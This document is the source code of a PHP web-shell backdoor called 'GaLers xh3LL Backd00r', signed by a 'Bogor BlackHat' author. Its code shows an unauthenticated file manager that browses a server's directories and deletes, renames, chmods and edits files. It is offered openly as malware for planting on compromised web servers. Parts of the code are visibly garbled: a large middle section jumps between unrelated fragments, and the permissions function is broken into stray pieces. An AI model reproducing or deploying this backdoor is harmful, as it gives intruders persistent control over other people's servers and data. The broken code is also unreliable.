Blind PHP
Blind PHP
Blind PHP
php
set_time_limit(0);
error_reporting(0);
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet"
type="text/css">
<title>GaLers xh3LL Backd00r</title>
<style>
body{
font-family: "Racing Sans One", cursive;
background-color: #e6e6e6;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: silver;
}
#content .first:hover{
background-color: silver;
text-shadow:0px 0px 1px #757575;
}
table{
border: 1px #000000 dotted;
}
H1{
font-family: "Rye", cursive;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center>[#] GaLers xh3LL Backd00r [#]
</center></H1>
<table width="700" border="0"
cellpadding="3" cellspacing="1"
align="center">
Error.</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Delete File
Done.</font><br />';
}else{
echo '<font color="red">Delete File
Error.</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700"
border="0" cellpadding="3" cellspacing="1"
align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..')
continue;
echo "<tr>
<td><a
href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font
color="green">';
elseif(!is_readable("$path/$dir")) echo '<font
color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") ||
!is_readable("$path/$dir")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\"
action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\"
value=\"dir\">
<input type=\"hidden\" name=\"name\"
value=\"$dir\">
<input type=\"hidden\" name=\"path\"
value=\"$path/$dir\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '<tr
class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "<tr>
<td><a
href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font
color="green">';
elseif(!is_readable("$path/$file")) echo '<font
color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") ||
!is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\"
action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\"
value=\"file\">
<input type=\"hidden\" name=\"name\"
value=\"$file\">
<input type=\"hidden\" name=\"path\"
value=\"$path/$file\">
<input type=\"submit\" value=\">\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<br />Mr. DellatioNx196 GaLers xh3LL Backd00r <font
color="red">1.0</font>, Coded By <font
color="red">Mr. DellatioNx196 - Bogor BlackHat</font>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
== 0x8000) {
== 0x6000) {
== 0x4000) {
== 0x2000) {
== 0x1000) {
// Owner
$info .=
$info .=
$info .=
(($perms
(($perms
// Group
$info .=
$info .=
$info .=
(($perms
(($perms
// World
$info .=
$info .=
$info .=
(($perms
(($perms
return $info;
}
?>